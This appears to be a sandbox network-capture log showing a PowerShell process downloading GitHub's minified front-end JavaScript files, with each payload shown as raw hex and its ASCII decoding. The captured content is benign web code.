2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 6f 6e 73 44 69 61 6c 6f 67 4c 61 62 65 6c 49 74 65 6d 45 6c 65 6d 65 6e 74 3d 63 6c 61 73 73 20 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 44 69 61 6c 6f 67 4c 61 62 65 6c 49 74 65 6d 45 6c 65 6d 65 6e 74 20 65 78 74 65 6e 64 73 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 7b 74 6f 67 67 6c 65 44 72 6f 70 64 6f 77 6e 4c 61 62 65 6c 28 65 29 7b 69 66 28 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 74 68 69 73 2e 6c 61 62 65 6c 29 7b 6c 65 74 20 65 3d 22 74 72 75 65 22 3d 3d 3d 74 68 69 73 2e 6c 61 62 65 6c 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 68 65 63 6b 65 64 22 29 3b 74 68 69 73 2e 73 65 74 43 68 65 63 6b 65 64 46 6f 72 44 72 6f 70 64 6f 77 6e 4c 61 62 65 6c 28 21 65 29 Data Ascii: onsDialogLabelItemElement=class NotificationsDialogLabelItemElement extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){let e="true"===this.label.getAttribute("aria-checked");this.setCheckedForDropdownLabel(!e)
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 65 6d 65 6e 74 20 69 73 20 6e 6f 74 20 6f 66 20 74 79 70 65 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 22 29 3b 69 66 28 22 73 75 62 6d 69 74 22 21 3d 3d 74 2e 74 79 70 65 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6c 65 6d 65 6e 74 20 69 73 20 6e 6f 74 20 61 20 73 75 62 6d 69 74 20 62 75 74 74 6f 6e 2e 22 29 3b 69 66 28 21 65 7c 7c 65 21 3d 3d 74 2e 66 6f 72 6d 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 54 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6c 65 6d 65 6e 74 20 69 73 20 6e 6f 74 20 6f 77 6e 65 64 20 62 79 20 74 68 65 20 66 6f 72 6d 20 65 6c 65 6d 65 6e 74 2e 22 29 7d 28 65 2c 74 29 2c 28 30 2c 69 2e 41 29 28 74 29 29 2c 73 28 65 2c 22 73 75 62 6d 69 74 22 2c 21 30 29 26 26 65 2e 73 75 62 6d 69 74 Data Ascii: ement is not of type HTMLElement.");if("submit"!==t.type)throw TypeError("The specified element is not a submit button.");if(!e\|\|e!==t.form)throw Error("The specified element is not owned by the form element.")}(e,t),(0,i.A)(t)),s(e,"submit",!0)&&e.submit
2024-09-30 13:50:32 UTC	421	IN	Data Raw: 61 6c 75 65 22 29 2c 74 2e 70 72 65 70 65 6e 64 28 6f 29 29 2c 6f 2e 6e 61 6d 65 3d 65 2e 6e 61 6d 65 2c 6f 2e 76 61 6c 75 65 3d 73 7d 65 6c 73 65 20 6f 26 26 6f 2e 72 65 6d 6f 76 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 6c 65 74 20 74 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 69 6e 70 75 74 2e 6a 73 2d 73 75 62 6d 69 74 2d 62 75 74 74 6f 6e 2d 76 61 6c 75 65 22 29 3b 72 65 74 75 72 6e 20 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 3f 74 3a 6e 75 6c 6c 7d 6f 2e 64 28 74 2c 7b 41 3a 28 29 3d 3e 69 2c 43 3a 28 29 3d 3e 73 7d 29 7d 7d 2c 65 3d 3e 7b 76 61 72 20 74 3d 74 3d 3e 65 28 65 2e 73 3d 74 29 3b 65 2e 4f 28 30 2c 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 Data Ascii: alue"),t.prepend(o)),o.name=e.name,o.value=s}else o&&o.remove()}function s(e){let t=e.querySelector("input.js-submit-button-value");return t instanceof HTMLInputElement?t:null}o.d(t,{A:()=>i,C:()=>s})}},e=>{var t=t=>e(e.s=t);e.O(0,["vendors-node_modules_d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49763	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:33 UTC	450	OUT	GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-bae876-1e5b19a38261.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:33 UTC	693	IN	HTTP/1.1 200 OK Connection: close Content-Length: 24111 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 16:52:10 GMT ETag: "0x8DCDD8265CC7EB5" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 373153 Date: Mon, 30 Sep 2024 13:50:33 GMT X-Served-By: cache-iad-kiad7000123-IAD, cache-ewr-kewr1740030-EWR X-Cache: HIT, HIT X-Cache-Hits: 7, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 08249de0b1d4e452249f40a88a36aae6fc51f126
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 2d 62 61 65 38 37 36 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-bae876","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegate
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 2d 34 63 34 32 36 37 30 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 2d 34 63 34 32 36 37 31 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 2d 34 63 34 32 36 37 32 22 2c 22 76 65 6e Data Ascii: _modules_stacktrace-parser_dist_s-4c42670","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42671","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42672","ven
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 73 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 64 28 2e 2e 2e 63 29 7b 69 66 28 73 29 72 65 74 75 72 6e 3b 6c 65 74 20 75 3d 44 61 74 65 2e 6e 6f 77 28 29 2d 6c 3b 6c 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 6e 26 26 6f 26 26 75 3e 3d 74 26 26 28 61 3d 21 30 29 2c 61 3f 28 61 3d 21 31 2c 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 63 29 2c 69 26 26 64 2e 63 61 6e 63 65 6c 28 29 29 3a 28 6f 26 26 75 3c 74 7c 7c 21 6f 29 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 72 29 2c 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 6c 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 63 29 2c 69 26 26 64 2e 63 61 6e 63 65 6c 28 29 7d 2c 6f 3f 74 2d 75 3a 74 29 29 7d 72 65 74 75 72 6e 20 64 2e 63 61 6e 63 65 6c 3d 28 29 3d 3e 7b 63 6c 65 61 72 54 69 Data Ascii: s=!1;function d(...c){if(s)return;let u=Date.now()-l;l=Date.now(),n&&o&&u>=t&&(a=!0),a?(a=!1,e.apply(this,c),i&&d.cancel()):(o&&u<t\|\|!o)&&(clearTimeout(r),r=setTimeout(()=>{l=Date.now(),e.apply(this,c),i&&d.cancel()},o?t-u:t))}return d.cancel=()=>{clearTi
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 72 65 74 75 72 6e 20 74 2e 62 61 73 65 56 61 6c 2e 73 70 6c 69 74 28 2f 5c 73 2f 29 7d 7d 7d 29 3b 76 61 72 20 64 3d 2f 5e 28 28 3f 3a 5b 5c 77 5c 75 30 30 63 30 2d 5c 75 46 46 46 46 5c 2d 5d 7c 5c 5c 2e 29 2b 29 2f 67 3b 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 70 75 73 68 28 7b 6e 61 6d 65 3a 22 54 41 47 22 2c 73 65 6c 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 69 66 28 74 3d 65 2e 6d 61 74 63 68 28 64 29 29 72 65 74 75 72 6e 20 74 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 2c 65 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 7d 7d 29 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 Data Ascii: return t.baseVal.split(/\s/)}}});var d=/^((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;o.prototype.indexes.push({name:"TAG",selector:function(e){var t;if(t=e.match(d))return t[0].toUpperCase()},element:function(e){return[e.nodeName.toUpperCase()]}}),o.prototype.indexe
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 74 75 72 6e 20 69 7d 28 70 2c 72 3d 63 2e 69 6e 64 65 78 29 29 7c 7c 28 28 6c 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 72 29 29 2e 6d 61 70 3d 6e 65 77 20 69 2c 70 2e 70 75 73 68 28 6c 29 29 2c 72 3d 3d 3d 74 68 69 73 2e 69 6e 64 65 78 65 73 2e 64 65 66 61 75 6c 74 26 26 74 68 69 73 2e 6c 6f 67 44 65 66 61 75 6c 74 49 6e 64 65 78 55 73 65 64 28 6e 29 2c 28 73 3d 6c 2e 6d 61 70 2e 67 65 74 28 61 29 29 7c 7c 28 73 3d 5b 5d 2c 6c 2e 6d 61 70 2e 73 65 74 28 61 2c 73 29 29 2c 73 2e 70 75 73 68 28 6e 29 3b 74 68 69 73 2e 73 69 7a 65 2b 2b 2c 66 2e 70 75 73 68 28 65 29 7d 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 76 61 72 20 6e Data Ascii: turn i}(p,r=c.index))\|\|((l=Object.create(r)).map=new i,p.push(l)),r===this.indexes.default&&this.logDefaultIndexUsed(n),(s=l.map.get(a))\|\|(s=[],l.map.set(a,s)),s.push(n);this.size++,f.push(e)}},o.prototype.remove=function(e,t){if("string"==typeof e){var n
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 65 77 20 57 65 61 6b 4d 61 70 2c 62 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 67 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 45 76 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 63 75 72 72 65 6e 74 54 61 72 67 65 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 79 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 65 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 2c 6f 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 6d 2e 73 65 74 28 74 68 69 73 2c 21 30 29 7d 66 75 6e 63 74 69 6f 6e 20 77 28 29 7b 6d 2e 73 65 74 28 74 68 69 73 2c 21 30 29 2c 5f 2e 73 Data Ascii: ew WeakMap,b=new WeakMap,g=Object.getOwnPropertyDescriptor(Event.prototype,"currentTarget");function y(e,t,n){var o=e[t];return e[t]=function(){return n.apply(e,arguments),o.apply(e,arguments)},e}function v(){m.set(this,!0)}function w(){m.set(this,!0),_.s
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 74 2c 7b 62 75 62 62 6c 65 73 3a 21 30 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 2c 64 65 74 61 69 6c 3a 6e 7d 29 29 7d 7d 2c 32 34 32 31 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 71 3a 28 29 3d 3e 69 7d 29 3b 76 61 72 20 6f 3d 22 3c 75 6e 6b 6e 6f 77 6e 3e 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 2c 70 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 72 2e 65 78 65 63 28 65 29 3b 69 66 28 21 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6e 3d 74 Data Ascii: ){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}},24212:(e,t,n)=>{n.d(t,{q:()=>i});var o="<unknown>";function i(e){return e.split("\n").reduce(function(e,t){var n,i,p,f=function(e){var t=r.exec(e);if(!t)return null;var n=t
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 3a 2e 2a 3f 29 3a 28 5c 64 2b 29 28 3f 3a 3a 28 5c 64 2b 29 29 3f 5c 29 3f 5c 73 2a 24 2f 69 2c 73 3d 2f 5e 5c 73 2a 28 2e 2a 3f 29 28 3f 3a 5c 28 28 2e 2a 3f 29 5c 29 29 3f 28 3f 3a 5e 7c 40 29 28 28 3f 3a 66 69 6c 65 7c 68 74 74 70 73 3f 7c 62 6c 6f 62 7c 63 68 72 6f 6d 65 7c 77 65 62 70 61 63 6b 7c 72 65 73 6f 75 72 63 65 7c 5c 5b 6e 61 74 69 76 65 29 2e 2a 3f 7c 5b 5e 40 5d 2a 62 75 6e 64 6c 65 29 28 3f 3a 3a 28 5c 64 2b 29 29 3f 28 3f 3a 3a 28 5c 64 2b 29 29 3f 5c 73 2a 24 2f 69 2c 64 3d 2f 28 5c 53 2b 29 20 6c 69 6e 65 20 28 5c 64 2b 29 28 3f 3a 20 3e 20 65 76 61 6c 20 6c 69 6e 65 20 5c 64 2b 29 2a 20 3e 20 65 76 61 6c 2f 69 2c 63 3d 2f 5e 5c 73 2a 28 3f 3a 28 5b 5e 40 5d 2a 29 28 3f 3a 5c 28 28 2e 2a 3f 29 5c 29 29 3f 40 29 3f 28 5c 53 2e 2a 3f 29 Data Ascii: :.?):(\d+)(?::(\d+))?\)?\s$/i,s=/^\s(.?)(?:$(.?)$)?(?:^\|@)((?:file\|https?\|blob\|chrome\|webpack\|resource\|\[native).?\|[^@]bundle)(?::(\d+))?(?::(\d+))?\s$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i,c=/^\s(?:([^@])(?:$(.?)$)?@)?(\S.?)
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 66 28 30 3d 3d 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 6d 70 74 79 20 64 69 63 74 69 6f 6e 61 72 79 20 61 72 67 75 6d 65 6e 74 22 29 3b 70 2e 73 65 74 28 74 68 69 73 2c 65 29 2c 66 2e 73 65 74 28 74 68 69 73 2c 74 2e 70 72 65 73 65 6e 74 61 74 69 6f 6e 53 74 79 6c 65 7c 7c 22 75 6e 73 70 65 63 69 66 69 65 64 22 29 7d 67 65 74 20 70 72 65 73 65 6e 74 61 74 69 6f 6e 53 74 79 6c 65 28 29 7b 72 65 74 75 72 6e 20 66 2e 67 65 74 28 74 68 69 73 29 7c 7c 22 75 6e 73 70 65 63 69 66 69 65 64 22 7d 67 65 74 20 74 79 70 65 73 28 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 70 2e 67 65 74 28 74 68 69 73 29 7c 7c 7b 7d 29 29 7d Data Ascii: f(0===Object.keys(e).length)throw TypeError("Empty dictionary argument");p.set(this,e),f.set(this,t.presentationStyle\|\|"unspecified")}get presentationStyle(){return f.get(this)\|\|"unspecified"}get types(){return Object.freeze(Object.keys(p.get(this)\|\|{}))}
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 65 63 6b 56 69 73 69 62 69 6c 69 74 79 7d 66 75 6e 63 74 69 6f 6e 20 79 28 29 7b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 65 63 6b 56 69 73 69 62 69 6c 69 74 79 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 67 28 29 7c 7c 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 65 63 6b 56 69 73 69 62 69 6c 69 74 79 3d 62 29 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 77 28 65 29 7b 69 66 28 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 6c 65 74 20 74 3d 65 5b 30 5d 2c 6e 3d 61 77 61 69 74 20 74 2e 67 65 74 54 79 70 65 28 74 2e 74 79 70 65 73 2e 69 6e 63 6c 75 64 65 73 28 22 74 65 78 74 2f 70 6c 61 69 6e 22 29 3f 22 74 65 78 74 2f 70 6c 61 69 6e 22 3a 74 2e 74 79 70 65 73 5b 30 5d 29 Data Ascii: eckVisibility}function y(){return Element.prototype.checkVisibility===b}function v(){g()\|\|(Element.prototype.checkVisibility=b)}async function w(e){if(0===e.length)return;let t=e[0],n=await t.getType(t.types.includes("text/plain")?"text/plain":t.types[0])

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49764	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:33 UTC	359	OUT	GET /assets/marketing-872ff8663359.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:33 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 19626 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 07:22:40 GMT ETag: "0x8DCDD32D6F4CC52" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 453103 Date: Mon, 30 Sep 2024 13:50:33 GMT X-Served-By: cache-iad-kcgs7200130-IAD, cache-ewr-kewr1740076-EWR X-Cache: HIT, HIT X-Cache-Hits: 33, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 8e0b7774bdf6c34d482c391717505106f216dcfa
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 61 72 6b 65 74 69 6e 67 22 5d 2c 7b 36 35 39 32 31 3a 28 65 2c 74 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 28 32 30 39 34 39 29 3b 76 61 72 20 73 3d 69 28 38 37 36 29 2c 72 3d 69 28 32 31 34 30 33 29 2c 6e 3d 69 28 39 37 37 39 37 29 3b 6c 65 74 20 61 3d 22 72 6f 77 2d 69 73 2d 76 69 73 69 62 6c 65 22 3b 28 30 2c 72 2e 6c 42 29 28 22 2e 6a 73 2d 74 79 70 65 2d 69 6e 2c 20 2e 6a 73 2d 74 79 70 65 2d 69 6e 2d 69 74 65 6d 22 2c 65 3d 3e 7b 28 30 2c 73 2e 47 7a 29 28 65 29 7c 7c 64 28 65 29 7d 29 3b 6c 65 74 20 6c 3d 6e 65 77 20 49 6e 74 65 72 73 65 63 74 Data Ascii: (globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["marketing"],{65921:(e,t,i)=>{"use strict";i(20949);var s=i(876),r=i(21403),n=i(97797);let a="row-is-visible";(0,r.lB)(".js-type-in, .js-type-in-item",e=>{(0,s.Gz)(e)\|\|d(e)});let l=new Intersect
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 65 28 22 64 61 74 61 2d 74 79 70 65 2d 64 65 6c 61 79 22 29 7c 7c 32 30 29 2c 72 3d 4e 75 6d 62 65 72 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 79 70 65 2d 72 6f 77 2d 64 65 6c 61 79 22 29 7c 7c 32 30 30 29 3b 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 6a 73 2d 62 75 69 6c 64 2d 6e 75 6d 62 65 72 22 29 3f 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 28 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 69 2c 73 29 7b 73 25 31 21 3d 30 3f 28 69 2b 3d 4d 61 74 68 2e 6d 61 78 28 2e 31 2c 73 2f 32 30 29 2c 69 3d 4e 75 6d 62 65 72 28 69 2e 74 6f 46 69 78 65 64 28 31 29 29 29 3a 28 69 2b 3d 4d 61 74 68 2e 6d 61 78 28 31 2c 4e 75 6d 62 65 72 28 73 2f 33 35 29 29 2c 69 3d 4e 75 6d 62 65 72 28 69 2e 74 6f 46 69 78 65 64 28 30 Data Ascii: e("data-type-delay")\|\|20),r=Number(e.getAttribute("data-type-row-delay")\|\|200);e.classList.contains("js-build-number")?setTimeout(()=>(function e(t,i,s){s%1!=0?(i+=Math.max(.1,s/20),i=Number(i.toFixed(1))):(i+=Math.max(1,Number(s/35)),i=Number(i.toFixed(0
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 65 73 74 61 72 74 22 2c 65 3d 3e 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 28 65 29 2c 75 28 65 29 7d 28 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 74 79 70 65 2d 69 6e 22 29 29 7d 29 2c 28 30 2c 72 2e 6c 42 29 28 22 2e 6a 73 2d 64 69 61 6c 6f 67 2d 63 6c 6f 73 65 2d 6f 6e 2d 66 6f 63 75 73 6f 75 74 22 2c 65 3d 3e 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 6f 75 74 22 2c 74 3d 3e 7b 6c 65 74 20 69 3d 74 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 3b 69 26 26 21 65 2e 63 6f 6e 74 61 69 6e 73 28 69 29 26 26 28 65 2e 6f 70 65 6e 3d 21 31 29 7d 29 7d 29 3b 76 61 72 20 63 3d 69 28 37 30 31 37 30 29 3b 28 30 2c 72 2e 6c 42 29 28 22 2e 6a 73 2d 6e 61 76 2d 70 61 64 64 69 6e 67 2d 72 Data Ascii: estart",e=>{!function(e){d(e),u(e)}(e.currentTarget.closest(".js-type-in"))}),(0,r.lB)(".js-dialog-close-on-focusout",e=>{e.addEventListener("focusout",t=>{let i=t.relatedTarget;i&&!e.contains(i)&&(e.open=!1)})});var c=i(70170);(0,r.lB)(".js-nav-padding-r
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 61 64 65 72 20 5b 64 61 74 61 2d 74 61 72 67 65 74 3d 22 64 65 66 65 72 72 65 64 2d 73 69 64 65 2d 70 61 6e 65 6c 2e 70 61 6e 65 6c 22 5d 27 2c 65 3d 3e 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 22 2c 22 6c 69 67 68 74 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 22 2c 22 6c 69 67 68 74 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 22 2c 22 64 61 72 6b 22 29 7d 29 2c 28 30 2c 72 2e 6c 42 29 28 22 2e 6a 73 2d 68 65 61 64 65 72 2d 6d 65 6e 75 2d 66 6f 63 75 73 2d 74 72 61 70 22 2c 65 3d 3e 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 69 6e 22 2c 28 29 3d 3e Data Ascii: ader [data-target="deferred-side-panel.panel"]',e=>{e.setAttribute("data-color-mode","light"),e.setAttribute("data-light-theme","light"),e.setAttribute("data-dark-theme","dark")}),(0,r.lB)(".js-header-menu-focus-trap",e=>{e.addEventListener("focusin",()=>
